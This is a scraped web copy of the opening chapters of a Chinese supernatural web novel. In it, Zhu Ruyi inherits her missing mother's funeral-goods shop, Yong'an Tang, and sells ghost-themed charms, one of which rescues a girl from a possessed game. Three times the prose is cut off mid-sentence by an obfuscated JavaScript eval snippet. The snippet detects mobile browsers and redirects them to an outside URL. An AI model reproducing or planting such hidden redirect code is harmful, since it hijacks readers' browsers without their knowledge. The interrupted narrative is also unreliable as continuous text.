《锦花市鬼怪闲谈》 1. 继承永安堂 锦花市是由五个区构成的三线小城，市区四面环山，城里种满了两人合抱粗的绒树，绒树开的花叫绒花，香味浅淡，据说绒可以辟邪招财，锦花市的居民都习惯在端午节当天包一些绒花粽吃。 还有三天就是端午，方老太在小区花坛里跟许多老太一起泡米、剪叶、包粽子，她手艺好，手指一动就是颗小巧玲珑的水晶粽。 陈老太看她包得好，就想买一些回去，既方便又有过节的气氛，刚张嘴，亲家母吴老太咳嗽一声，低声说：“不能买。” 方老太假装没看见，又接着包了几个粽子才起身提着篮子说：“我孙女如意下班快回来了，我去煮饭，等粽子煮好了，我拿几个下来给你们分。” 其余老太纷纷笑着点头，还说也要把自己的粽子给方老太留几个。 等方老太走远了，陈老太才地问：“亲家母，方姐怎么了？” “方姐老伴儿姓祝，祝家人做的是香烛生意，店里卖的东西都是给死人用的。”吴老太嘀咕道：“东门口子上那个‘永安堂’就是他们家的，一年让人投诉五六回！方姐手艺再好那也是包元宝练出来的！大过节，吃她做的粽子，晦不晦气？” 小区里住的都是熟人，有知道情况的人也跟着说了两句。 “方姐也是可怜人，和老伴儿一辈子就生了一个女儿，结果大学读完跑去当了神棍，神棍没当几年人又失踪了，喏，那个永安堂就是她女儿小祝留下来的，以前小祝还在时经常免费给小区老人发平安符、除晦气，方姐做这个也不赚什么钱，主要想心里留个念想，觉得女儿总有一天会回来……” 这都十几年了，知道祝家事的人都觉得小祝恐怕早就没了，大家也有儿有女的，言谈间对白发人送黑发人颇有些感同身受，于是接二连三地开始为方老太发言。 吴老太双拳难敌四手，最终落荒而逃。 等她走了，不知谁又接了一句：“该不会背地里一直是吴姐在举报永安堂吧？” “人只卖个纸钱蜡烛，又不停尸，至于吗？” “怎么不至于，她亲孙女她都能到处说不吉利，何况举报非亲非故的永安堂？” 想起吴老太往日言行举止，事是越说越真了，小区居民一片哗然，还跟陈老太道：“可怜你姑娘了……” 陈老太随意敷衍两声，注意力早转移到方老太的孙女如意身上去了。 她外孙女豆豆学习不太好，够呛能上个好一些的二本。女儿一直想给豆豆找家教，只是吴老太不让，这回她过来以姥姥的名义自掏腰包给孙女找一个，她就不信吴老太还能说什么难听话。 乍闻如意学习好到编制都有了，虚无缥缈的优秀顿时在她眼前具象化成一口金饭碗。 又打听了两句，陈老太才倍感忧伤地带着一阵愁风走了，更惹得围观群众说了几句吴老太不是个东西。 —— 小区在包粽子，祝如意的工作单位锦花电视台也在发粽子。 祝如意从小体质特殊，经常都能见到脏东西，大学学的也是民俗专业，因为家里不让多接触灵异方面的事，为了让家里放心，她毕业后也没有找专业对口的工作，反而去了《走进锦花》做外景主持，主要对非科学项目进行实地打击。 因为是午夜栏目，加上《走进xx》之类的节目已经屡见不鲜，《走进锦花》糊得压了几次工资。祝如意呢，心里又一直惦记着继承永安堂，就想找个机会辞职。 抱着跳槽的想法，下班后祝如意一刻也没有停留，径直上了辆老旧的奶油黄电瓶车，以随时会在路上寿终正寝的萎靡之姿徐徐前进。 守门的大爷见了都摇头感叹世风日下，现在的年轻人不仅连领导的车都不送了，甚至还要走在领导前边，这个祝如意就差骑着领导下班了…… 祝如意拎着粽子摇摇晃晃地开进了幸福家园。 这是市医院的家属小区，位于锦花市城东老区。周围建筑整体比较老旧，许多小区的窗户都还是七八十年代流行的蓝玻璃。 因为基础设施随着医院设施改进跟着翻修过几次，还安装了电梯，所以纵然芳龄已过，外表起来仍然风韵犹存。 祝家住在六栋三单元五楼，三室一厅，祝爸爸李煦在主卧，方老太方晴和祝老头祝大山住在厕所对面的小次卧，祝如意住在李煦隔壁。 李煦是脑科医生，前几天从外地交流学术回来的路上不小心出了车祸，小腿骨骨折不得不在家卧床静养。 祝如意提着粽子进门时，祝老头熬的鸡汤还在锅里咕嘟咕嘟地冒着泡。 “瞧你，上了一天班人憔悴得跟劳改犯似的。”孙女回来，祝老头先盛了一碗鸡汤给祝如意，让她去去班味。 鸡汤鲜亮浓稠，透着一点绒花独有的草药味倒是十分好喝。祝如意喝了两碗，顺便还啃了一只鸡翅膀。 方老太在一旁剥从楼下换回来的熟粽子，她听说吃了百家粽，人的病能好得快一些，剥完了回头一看，祝如意都快吃饱了，便说：“把你单位发的粽子再拿一个出来，煮了切成块儿，每样叉一点儿给你爸送进去。” 祝如意应了一声，很快手起刀落把粽子各切了一个角码在盘子上，敲开了主卧门。 “小李同学，吃饭了。” 卧室里躺着一位星眉剑目的男人。 四十八岁已经不年轻了，但他还青春得过分，鲜气四溢得如刚毕业的男大学生。 李煦穿着洗得褪色的水蓝色睡衣半躺在床上，一只脚被吊了起来，面前摆着一台在播放永安堂监控录像的笔记本电脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042936|162623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，左边放了一个装满元宝纸的快递箱，两只手上下翻地叠着元宝，动作行云流水格外好看。 见女儿进来，他把元宝纸放到一边，拉起了床上支着的小饭桌。 祝如意在屋子里乱转，看到那么多元宝也有些心疼。 外人以为永安堂的元宝大部分都是方婆婆做的，其实九成都是李煦做给妻子祝素秋的。 祝如意听说过母亲很多事，比如她生下来就有阴阳眼，大学学的也是宗教学，毕业后还去应聘了好几家神神叨叨的公司，人家以她天资不丰为由都没收。 之后祝素秋回家自己开了间香烛店，开始给周围居民解决一些小事，方老太和祝老头知道女儿的举动科学压根解释不了，于是也没拦着。 祝如意六岁那年夏天，祝素秋早上八点去了永安堂，从此便芳踪难觅。 这么多年过去，祝如意私下想了不少办法找人都没有找到，她也偷偷按照妈妈留下来的寻人术算过几次，每次卦象都显示祝妈妈已经不在人间，而且还很可能是非自然死亡 只是祝家始终没有找到任何有关凶手的线索，基于此点，派出所那边一直也把祝素秋当做失踪人口处理。 李煦跟祝素秋青梅竹马，人比祝素秋还要小三岁。女儿消失以后，方老太和祝老头都认为永安堂不吉利，想关了铺子卖掉。 李煦没有答应，他不信鬼神，但信祝素秋。他总觉得她要是还活着，总有一天会回来，那么，他要为活着的祝素秋保留她的心血。 如果人不幸没了，那他还自学了不少犯罪学，一直开着永安堂，或许会从监控中发现凶手返场的踪迹为妻子雪恨。 但外科医生很忙，平时精力消耗也大，李煦不能像妻子一样细心经营永安堂，这么多年永安堂为了节约成本一直陆陆续续地在请大学生看店。 因为既不做殡葬一条龙也不给人消灾解难，看店工作变得十分清闲，加上一些猎奇心理，附近的大学生要混实习章时都喜欢往永安堂跑，这么多年店里勉强也能平账。 李煦一病，家里忙着照顾他，折元宝裁纸钱的事便耽误下来，要是再请一个人专门做这个，又是笔开销，而李煦的工资还要花一部分出去寻找祝素秋的下落，家里还要存钱防身…… 躺在床上闲来无事，李煦边看监控边折元宝，这时他吃着糯糯的粽子尖儿，祝如意就在一旁守着他，直到起身收拾碗筷时，她才发现李煦右边还有个已经放满了元宝的快递箱，也不知道做了多久。 此情此景，祝如意忽然觉得时机已经到了，她本来惦记永安堂已经很久，现在人长大了想法也没变，那为什么不说呢？ 她不愿意跟李煦耍心眼，于是老实地说：“爸，把永安堂交给我可以吗？我来经营，我会找到妈的。” 2. 三个要求 “不行。”李煦迅速反对，随即便想起往事。 他自己是孤儿，十岁后才被五十多岁的李家老夫妻收养，之后便跟祝素秋做了邻居。 他很早就意识到自己跟别的小孩子不一样，总是目光呆滞、眼神空洞地看着前方，人看着还在原地，实际思绪已经飘得很远，清醒后也会有很强的疲惫感，严重时还会大病一场。 李煦一直以为自己是营养不良，吃饭时便吃得格外多，一个能吃又病弱的小孩，长得帅气也是个赔钱货，院长为了送他出去费了不少心。 老李夫妻是医生，医者仁心，两人带李煦出去检查了一遍，发现他身体没什么大毛病，只是免疫力有些低，便很快办了收养手续。 后来小区附近有个老尼姑趁着春节回女儿家打斋赚点过年钱，看见李煦就说他八字太硬是个天煞孤星，迟早要克死所有人。 作为近邻的祝素秋听了之后，立马打着不许李煦克死邻居的名头给他灌了很多不知名的草药水、符灰水。 李煦敢怒不敢言，为此没少拉肚子，更从此笃定她是个胡说八道的小骗子，后来还立志要当医生治治她的脑子。 不过随着祝素秋手法越加娴熟，李煦果真很少再有少时那样的恍惚状态，养父养母最后也是寿终正寝，躺在被子里走的。 李煦慢慢察觉到这位料事不如神的姐姐确实不是骗子，而是恰好她走的那条路只允许她走到那个程度。 然而祝如意从还是胚胎时就不一般，祝素秋怀上祝如意的那天，李煦就梦见了一大堆五颜六色的云朵棉花糖。 祝素秋说：“这个是胎梦，也说明我怀的是个瑞兆。”甚至当时就想给还孩子取名，女孩叫祝棉花，男孩叫祝瑞兆。 这土傻双气的名字吓得祝老头连夜把《新华字典》和《周公解梦》都翻了一遍，最后强行拍板给取了个如意。 祝老头说：“梦见的是五彩祥云，祥，就是逢凶化吉、平安顺遂的意思，那孩子不如就叫如意，人生如意，万事大吉嘛！” 祝素秋要不是看爹妈的手都提起来了，根本不会答应，怀孕后，她变得不一样了，偶尔竟然能强行往日未遂之事，做出来的药李煦吃了以后也没拉过肚子。 但这些需要外力才能办到的事，祝如意很早就能办到了。 李煦记得，如意三岁时跟小区的孩子玩过家家当医生，偷了祝素秋的药方捣鼓了许多药丸喂给小区的孩子吃，小孩子多么金贵，稍微吹点风都容易感冒，更别说沾这些来历不清的食物了。但神奇的是，吃过如意药丸的孩子竟然都没拉过肚子。 祝素秋知道后长吁短叹说，那个药方是强身健体的良药，可以从本源上调理身体，她学了三年多才能勉强做出来一颗，结果如意随便做的竟然都有药力。要是她能有这么强的天赋，就算是一天，她也愿意少活五十年。 再后来，她真的生死不明了。 那个世界太危险了，李煦不想让女儿重蹈覆辙，哪怕清明节给祖宗上坟，他都只让祝如意在家对着祖坟方向磕几个头。 李煦道：“永安堂是我的责任，不是你的，你照顾自己就行。” 祝如意摇头，家的责任是所有人都要承担才是家，怎么会只是他的呢？她说：“我下了决心，你不让我继承我也会想办法继承，区别是你要是答应我，我什么事都跟你说，你要是不答应，我就悄悄的干。” 李煦并不是不通情理的长辈，小时候他不让女儿接触是因为在这条路上家里没人可以指导她。 又想拒绝的话含在嘴里，看着祝如意的眼神，不知怎么，李煦竟然想起了祝素秋小时候的样子，那个时候她也是不顾家人反对，带着他四处奔波找药材、经书、符箓，挑灯夜读，后来也许是太过危险家里人又反对她做这些事，最后那晚她竟然一句话也没有留下就消失了…… 李煦想到这里，终于点了头，但他说：“我有三个要求。” 祝如意习惯性地打开录音留存证据。 李煦啼笑皆非，干脆接过手机，说：“第一不能亏本，我三个月看一次账。第二，做任何事都不能单独行动。第三，每晚八点回家。” 祝如意作为职场新人，当然没有意识到不能单独行动背后有多大意义，——这是个隐藏条款。 工作随时要人陪着，新时代了，李煦当然说的不是找两个佣人给她端茶送水，而是——同事。但永安堂穷得房梁都掉漆了，还有钱招工吗？ 李煦希望祝如意自己碰壁迷途知返，而不是他去做判官。 但祝如意根本来不及多想，最后一条她爸说得她孝心都长出来了，别说三个要求，十个她也答应啊，点点头，道：“八点就八点，谁稀罕上班？”又靠着他笑：“爸爸，你放心吧，我不会丢下你一个人的。” 在门外拖着小板凳边偷听的祝老头指手画脚地跟方老太说：“我的天，这两个兔崽子轻描淡写就把铁饭碗给砸了！不行，我不答应！” 方老太把炖烂的耙鸡爪在红油里过了一遍，哼道：“你不同意有用吗？一个退休老头儿，也不管钱也不管账的，连广场舞都不会跳，你说话，有用吗？谁听？” 祝老头是法医，这行在他那个年代找媳妇难如登天，何况方老太还是个很受欢迎的妇产科医生，为了娶到媳妇，祝老头早就说了，婚后一切都听方老太指挥。 这么多年在家里还真没人听他的，但打人不揭短，祝老头闻言差点没喘上气，可又不敢发脾气，憋了半天，他又凑过去窝囊地问：“难道真让小兔崽子辞掉工作过去捣鼓永安堂？那店在大兔崽子手里也没挣几毛钱，让如意过去，以后咱们家还不得喝西北风？” “管不住的，迷路的那个咱们没管住，里头这个怎么管？”方老太心里有数，孩子下了决心，要跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042937|162623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子对着干，那可就小事化大了，“小李也有谱。” 祝老头其实觉得家里就他老人家有谱，可家里实在没他一言定江山的份，于是只能愁云惨淡地对里边开口：“如意，出来吃饭了——” 祝如意出去后被塞了半个鸡，两只粽子，晚上吃了健胃消食片还是到一点多才睡着。 产权交接要跑不少地方，祝如意也并不是火急火燎地想要永安堂，她只是想替李煦分担一些责任，接下来几天就先赶在六点准时发了辞职邮件和微信给备注——“周末暂停拯救世界的王哥”，打算等他同意之后再抄送各部门等待处理。 铁饭碗的好处就是天大的事也要留在工作日干。周五下午五点五十九很多人就拒绝工作了。 果然，这条来自六点整的消息，王哥看都没看就设置成未读开始咧嘴刷短视频。 趁着周末，祝如意先把永安堂清点了一遍。 永安堂在小区的东门口子上，对面是一个小公园，俗话说日出东方，正对着东方，又没有遮挡物，那么在东门口开店面，只要请人调整一下风水就会财源广进。 大部分占据此地段的居民都会开超市，再次也是个小卖部，而幸福小区在这里开了个香烛店也算一朵奇葩了。 或许因为小区住的都是医属，锦花市医院又是甲等医院，占地大设备好，每天死的人也多，医院有些得了重病的病人也会提前在周围的殡葬店逛一逛，有的姑娘还会斥巨资提前六十年给自己定制满钻爆闪骨灰盒，只是那些店大部分都集中在一条街上。 耳濡目染，居民对殡葬行业并不抵触，当然，里边也有少部分人像吴老太一样对此有自己的见解。 总体来说，永安堂并没有受到很多歧视，它不赚钱的主要原因还是因为——活得太低调了，一切现代化的商业行为通通不进行，导致除了小区附近的居民之外很少有人知道这里还有一家香烛店。 祝如意把账快速浏览了一遍，因为李煦不让她过多插手永安堂的事，而他又是个很聪明的人，所以祝如意当真对店铺了解得并不深，也是到这个时候，她才发现永安堂朴素得连网店都没有，甚至客户来往依然还用着座机。 她深深地震惊了。 店铺的流水也很简单，祝素秋不在的十六年间李煦只卖手工做的元宝和他亲自裁开的黄表纸，那种亿元钞票都不卖。不过李煦的手工卖得很贵，元宝一个一块，黄表纸十元一刀。 可能因为李煦长得帅，可能这地方风水真的不错，这么多年元宝和黄表纸竟然一直有人买，虽然买的人不多，但也勉强能够打平每月一千五的开支。 赚到一千五之后，李煦当月就不会再动手。看来看去，祝如意都觉得永安堂的穷是应该的。 问题是李煦只许州官放火不许百姓点灯，他要求祝如意赚钱把日子过好…… 那要怎么赚钱呢？ 3. 守夜人 祝如意环视了一圈，永安堂其实不小，一共有一百五十平，整个店铺呈“日”字型，前边是单独的一间大铺面，纵深比较长，卷帘门口放了张长方形的玻璃柜台，里边稀稀拉拉地摆着一些元宝和黄表纸。 柜台后有一把极具现代气息的软垫躺椅，可能是某位大学生倒贴工资买回来又带不走留下的。 后边是一个小院子带两间房，院子里种了几颗果树几丛竹子，房间1是锁起来的杂物房，2是卧室，两间房都有不少用木箱藤编箱装好的符箓、经文。 随着时间流逝，符箓破败、经文蒙尘，大部分东西都旧了。 祝如意马上就注意到里边有一把剑格外不一样，干净得跟刚被人放进去似的，就连剑柄上捆的红绳都没有一点儿脏污，剑身还刻有符文和星辰日月。再一看祝素秋留下的相关笔记，她知道了这把剑叫“度厄”，是别人送给永安堂的镇店法器。 除了这些，杂物房也没有其他东西了，什么佛像神像都没有，祝如意此时意识到她妈的职业可能并不是世俗意义上的道士巫婆。 至于自己妈究竟是干什么的，祝如意在祝素秋留下的笔记中找到了答案。 祝如意说她是杀鬼人，现在是科学时代，地球都探索得差不多了，没多少人信这些，神灵愿力不够现不了世。正统的天师、圣僧逐渐绝迹，剩下来的人用这些名号名不正言不顺，干脆就叫自己杀鬼人。 主要负责记录、消除当地的鬼怪，然后把记录整理出来作为非物质文化遗产交到当地宣传部，宣传部累计到足够多的量就会刊印，供人阅览。 据说杀鬼人还有个前身叫守夜人，一般只有灵感很强、有入星骨，放在古代能立地飞升的人物能成为守夜人。 放在古代，像祝素秋这样只是有点阴阳眼的人要学除鬼术，宗教协会都是建议开点中药把阴阳眼关了。 后来宗教届人才日益稀少，守夜人也很多年不出现了，为了市民安全，祝素秋这类天赋一般又一心向道的，渐渐也能混上除鬼师身份了。 看到解决了相应的事件宣传部会发奖金，祝如意就把祝素秋留下的几个薄薄的文件袋整理复印了一份，打算重新提交一次。 如果能让宣传部的人记得永安堂曾经有个叫祝素秋的老板娘在背地里默默干过几件还不错的事，也很值得呀。 宣传部的人估计也有自己内部流程，祝如意提交了材料后不久，来接待她的人已经转变成了宗教界的小马哥。 小马哥西装革履，头发梳得油光水滑，自称他们是住在隔壁、跟“宣传部”平起平坐的“鬼怪文化宣传部”，他来了以后就在祝如意手机里下载了一个叫《锦花市鬼怪闲谈》的app。 “现在大家都是科学抓鬼，有什么材料要交以后都通过app直接上传，不用像山里的野人一样披星戴月地亲自跑过来。” 被人鄙视了一通通讯方式落后，祝如意不好意思的点头。 之后，小马哥起身给派出所打了个电话，确认祝素秋失踪属实后直接给祝如意转了八千八。 祝如意还挺意外，没想到同样是宣传部，装神弄鬼的这个效率竟然这么高！ 小马哥淡定地解释：“你的资料太久了，真去核实也不容易。每年不会回来的除鬼人很多，家里人要是没有像你一样摸过来，我们都会当做他们在外远游，要是过来了，资料上的事不管真假，部里都会给这一笔钱。” 言下之意就是说这八千八是宣传部约定俗成的丧葬费。 祝如意不想收丧葬费，马上又把八千把退了回去，不管她妈还在不在，留个好兆头总归不会出错。 小马哥对不收丧葬费的家属见怪不怪，还想了两句话含在嘴里安慰安慰她。 没想到祝如意突然问：“你们这里有什么政策支持大学生创业吗？” 小马哥把话吞下去，一脸困惑地说：“……有啊，你想干什么？” 祝如意想干这行已经很多年，怎么运转的事也早就想好了，说起来也格外流畅。 她说：“我想开一家文创公司，制作具有审美价值、能够在市场流通的文创产品来宣传我们国家的丧葬、鬼怪文化。你们不是文化宣传部吗，现在周边小国频繁盗窃我国鬼怪文化，多气人啊？我做这个，有支持吧？” 小马哥回想了一下内部政策，还真有，而且还是一万块，比部里给的丧葬费还多一千二。 再看祝如意的条件，竟然各方面都很符合，他拿了张单子出来：“……填吧。” 祝如意边填边想，永安堂能够正大光明跳大神时代已经过去了，现在干这个分分钟被举报，要想做大做强，第一步就得合法化。 改成鬼怪文创店就不错，现在很多年轻人都很重视维护自己的传统文化，卖文创也卖得掉。她要干点什么捉妖灭鬼非法活动，也能说成在进行创作实验。 宣传部的人似乎很确定祝素秋人已经没了，所以在产权问题上给祝如意开了点绿色通道，事情不到半个月就办完了。 等到离职手续办完，祝如意就每天八点准时去重新注册后的永安堂待着。 发下来的钱她做了一个“永安堂鬼怪文创”的新招牌，订购了两个硕大的塑料花圈放在门口手动增加死气，又在跳蚤市场买了一些漂亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042938|162623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的桌椅放在花圈两边，想先吸引一些猎奇的年轻人拍照打卡，剩下的钱则购入了一些手工原材料。 祝素秋说是杀鬼人，奈何实力有限，最常用的反而是驱鬼咒，只要人鬼好聚好散她就不追究了。 祝如意本来对这些就有兴趣，加上第一次看见妈妈的职业遗物，便挑选了一个字最少的驱鬼咒模仿。 她打算着先用毛笔在薄木片上沾写出字形，然后用刀雕刻，再往里填上朱砂，晒干了磨一磨毛边，跟道观卖的文创符简直一毛一样，她这个还是手工的呢！ 不知道是买来的刻刀不好用，还是怎么，祝如意连续刻了几次都没刻好，总觉得行书晦涩，好几次快成功了，字形连接处总要断一两笔。 画符讲究行云流水，这样的成品显然无法卖人，她平心静气练了一天，最后百块木板只成功了二十个。 写符竟然这么不容易，祝如意默默地在心里把价格往上提了一截。 刻完之后这些木符被她在锦囊里进行售卖，跟其他锦囊不一样的是，收口绳两头是塑料做的拇指那么大的花圈。 此文创拿回家以后，览尸无数的祝老头愣是看得起了一层鸡皮疙瘩，他越看越觉得这个符像梳了两个包包头的女娃脸，包包头还是花圈的样子…… 祝老头浑身哆嗦，急得嘴里生泡：“乖孙，你还是回去找个班上吧，这玩意儿也是能卖得掉的？” 祝如意不乐意听见阿公这么说自己的发财大计，又不想显得很破防，于是故作高深：“这是我们店的特色，福兮祸所依，祸兮福所倚，多特别！不够怪怎么能叫‘创’呢？”又灵机一动道：“呀，干脆就叫它‘福祸娘’好了！” 祝老头无语凝噎，转头问方老太：“你说呢？” 方老太对孙女儿施行鼓励政策，嘴里说着好美呀、好特别，姥姥好喜欢，但在祝如意提出要送给她一个之后，方老太就在家寻了块写了金刚经的金布，用筷子把福祸娘夹到里边裹起来才放在包包里，一副很怕这个符克到她的样子。 祝如意觉两老头老太十分没有审美，又试探着给李煦送了一个。 李煦的审美显然同于常人，他手沿着锦囊边缘摸了一圈，心里悚然一惊，觉得这玩意儿十分阴间，完全不像小姑娘会喜欢的东西，但对上祝如意期待的眼神，他沉默着把福祸娘放到了枕头下。 祝老头在旁边本想让女婿劝一劝孙女儿，此时一看女婿举动，一口老血憋在心里，禁不住高声道：“小李，你真觉得这个好看？” 李煦只有一个字：“好。”话少得连“看”都不想说。 祝如意觉得生意稳了。 4. 福祸娘 祝如意的福祸娘在店里放了许多天都无人问津，很多吃完饭出门散步的小区居民不小心走到永安堂跟前，看着花圈和脸色阴沉的福祸娘都以为是撞鬼了，有些人还会掐着中指和人中往回跳。 这是个小避邪术，也是很久之前祝素秋还在时教给小区居民的。 最近因为被永安堂吓到，一些老人回忆起来，就把它们教给了身边人。大家再一看地点，终于回神了，道：“这不是永安堂吗？小祝以前那个！现在又开张了？” 渐渐的，虽然福祸娘还没有卖出去，但祝如意辞了铁饭碗女承母业的事已经闹得许多人知道了。 那天跟方老太一起包粽子的人又聚在一起打麻将，大家都在猜祝家人可能有点精神病基因，到了二十岁左右就会发病。 本来打算找祝如意给自家孙女补课的陈老太听说后也有点望而却步。这事她是私下跟女儿说的，事情没有做成，本来还是母女间的小秘密。 吴老太不知从哪偷听了此事，便上了心。 她本来就不喜欢孙女，也不喜欢永安堂，一想两个讨厌鬼要凑在一起叽叽喳喳想法子把她孙子比下去，她就恨得咬牙切齿。 尤其最近高校很流行一个叫“模拟人生”的游戏，吴老太乖孙玩得废寝忘食，还逃了几次课专门去网吧玩。 再一看孙女还是每天家里学校两点一线，模拟考也有四百六十分，在本地上普通大学轻而易举，她就更气了。 虽然孙女说不上品学兼优，但她凭什么比自己的孙子过得好呢？为什么她不沉迷这个游戏呢？ 吴老太花了五十块，在网吧找到一个同样溜出来玩游戏的高中生，让他教自己怎么下载游戏。 高中生为了上网节衣缩食地攒钱，浑身瘦得只剩一把骨头，呼吸间都能看见他骨骼、内脏的形状。 吴老太低着头都不敢多看，觉得这人恐怕吸｜了毒。 高中生目光呆滞地接过钱，指着电脑说：“小妹妹，下载后要藏起来，别被家里人发现了知道吗？” 吴老太听到小妹妹，笑得更僵硬了。 这是吸大了啊。 她想换个人问，可看了一圈之后，除了这个人根本没人理她，吴老太只好硬着头皮点头：“知道了，快教吧。” 陈老太提着葱油小笼包进门，恰好遇见吴老太鬼鬼祟祟地从外孙女房间出来。 陈老太打了声招呼：“亲家母，豆豆在里边？” 吴老太看起来心情很不错，慢吞吞地说：“没有啊，我看有只蟑螂跑进去，特意进去找找，万一晚上它去我孙子那屋了呢？” 这倒是吴老太的性格，陈老太还是狐疑地在外孙女屋里检查了一遍，除了笔记本电脑有些发热外一点异样状都没有。 吴老太只是些许认得几个字，素来对''高科技深恶痛绝，小区老人都在用智能手机了她还在用棒棒机。 可能是太阳晒的吧？陈老太把回收站打开，没发现有文件被删除，她想，或许真是自己多心了。 下午小区大妈老太聚会，陈老太没忍住跟几个同样有女儿的老太说了吴老太鬼鬼祟祟出房门的事。 “指不定憋什么坏呢，你回去多买几个尾戒，祖孙三人都带上克克这老小人。”一个大妈说。 方老太在旁边介绍改头换面的永安文创，顺手就把包里的福祸娘送给陈老太：“这个是我孙女儿亲自做的文创平安符，没什么用，图个安心吧，你替我送给豆豆。” 陈老太摸着两个小拇指花圈，震撼于福祸娘独一无二的设计，但她真不是迷信的人，加上心里对方老太无端的同情，于是笑着收下了。 —— 这天早上，祝如意在街上吃红汤米粉，方圆街因为是老街，一溜儿都是平房，周围不少味道不错的苍蝇馆子。 真说起来，还是牛头米粉的味道最好，细如粉丝的米粉上码得全是大块的牛腩肉和当天现做的红油，一口下去唇齿留香，关键是米粉够细，比粗粗的米线好吃一百万倍。 祝如意一年四季每天早上雷打不动要吃一两，嗦粉嗦到一半，她看见牛头米粉旁边的网吧门口停了几辆警｜车，一问之下才知道，原来有人匿名举报这网吧里有失足少男吸｜毒吸得神志不清，现在网吧上下都在做检查。 网吧老板又哭又嚎：“——青天大老爷，我真没干坏事，一定是家长污蔑！”又恶狠狠道：“谁他妈这么缺德，我诅咒他家娃一辈子考不上好大学！” 祝如意看了会儿热闹，见人群里有不少形容枯槁的年轻人也信了两分，跟牛老板道：“可怜啊，不知道毁了多少家庭。” 牛老板也说：“可不是，小小年纪跑出来干这个……” _ 吃饱喝足后，祝如意回了永安堂，刚走到门口，就见塑料花圈下坐着位穿戴姣好的老太。 老太保养有术，瓜子脸，穿着灰色直筒裙，戴着细金丝眼镜，手里还拿着手绢，在花圈下白惨惨的有些渗人，路人经过都是一脸需要回家收惊的表情。 祝如意也是先看了一眼脚尖，还好，不是三寸金莲也不是空空如也。 再仔细一看，老太显然受到了极大的惊吓，额头全是冷汗淡妆还有些化了，脸上都是一道一道的白汤，露出底下星星点点的老年斑。 祝如意不是铁石心肠的人，但防人之心不可无，为免有人故意碰瓷，她打开了手机录像，举在手里走过去关心道：“大阿姨，要我帮忙叫救护车吗？” 陈老太：我真不是来碰瓷的！ 她急道：“小祝，医院救不了我，能帮我的只有你！”完蛋，听起来更像碰瓷的了怎么办！ “找我救命？”祝如意指着塑料花圈，眼神古怪：“大阿姨，你知道这是什么吗？” “花圈啊，还能是什么？” “大阿姨你找卖花圈的救人？” 陈老太立马道：“因为不是生病是撞邪啊！你不是做了平安符卖吗？方姐送了我一个，昨天刚派上用场，所以今天一早我就来找你救命！” 祝如意没想到自己做的福祸娘还有这个效果，顿时也来了兴趣，于是开门把人请进去倒了杯热水问：“究竟怎么回事？” 陈老太喝了水也镇定多了，这时一扫永安堂简陋的环境，用碎花手绢儿将桌椅都擦了一遍才安心地坐下来把事情娓娓道来。 自从撞见亲家母从豆豆房间出来，她一整天都食不下咽，总觉得有什么事要发生。 等豆豆放学回来，陈老太特意叮嘱她检查一遍房间，看看有没有少了什么东西。 豆豆知道吴老太不待见自己，听说了此事，检查得也比较仔细，但房间是真没少什么，即使有，那也是弄丢了她也不在意的，没有追究的必要。 吃了晚饭，豆豆做完作业，陈老太特意允许她玩半个小时电脑，还做了三鲜面当宵夜。 等面做好了她端着进门，房间突然一片漆黑。 在陈老太的角度，很容易看到电脑桌面从嘻嘻哈哈的鬼畜视频变成了游戏界面，温馨的白金字体散发着诱惑的暖光。 上边闪烁着四个大字——《模拟人生》。 陈老太听豆豆说过这个《模拟人生》高校很多同学都在玩。 游戏可以自己捏脸，设定父母、邻居、朋友，姓甚名谁，毕业大学、从事职业。主角则通过自己设定的世界，按部就班地选择自己想要过的人生，不同的是，在游戏里，努力一定有结果。 豆豆一直没有下载，她觉得自己的人生已经足够成功，奶奶重男轻女不假，但爸妈爱她就够了啊，他们家也不缺钱，以后随便上个大学出来找一份稳定的工作，豆豆就心满意足了。 面对黑暗中唯一的桃花源，豆豆却鬼使神差地伸出了双手。 她忍不住想：自己长得一般，嫁不了豪门帅哥，最大可能就是嫁一个隔壁王大爷那样的老公，太恶心了，她不想过这种人生…… 在游戏里就不一样了，她可以捏一张肤白貌美的脸当女明星，受万人追捧，就算结了婚，到八十岁还是有能力找123456。 陈老太说不出话也动不了，看着豆豆机械性的抬起手臂，诡异的场面转眼吓得她出了一身冷汗。 在她万念俱灰时，房间突然又多了团光。 与其说是光其实不如说是一团火焰。 火焰从书桌另一端一跃而上，跳上豆豆已经准备按下进入键的指尖，烫得她尖叫出声，再睁眼“模拟人生”已经被强制结束程序，变成了电脑右下方不起眼的图标。 陈老太也能动了，她软着身跑过去一看，豆豆手心躺着枚梳着花圈髻的锦囊，锦囊里的木符已经全灰了。 这可不是撞邪了吗？接着她就来找祝如意了。 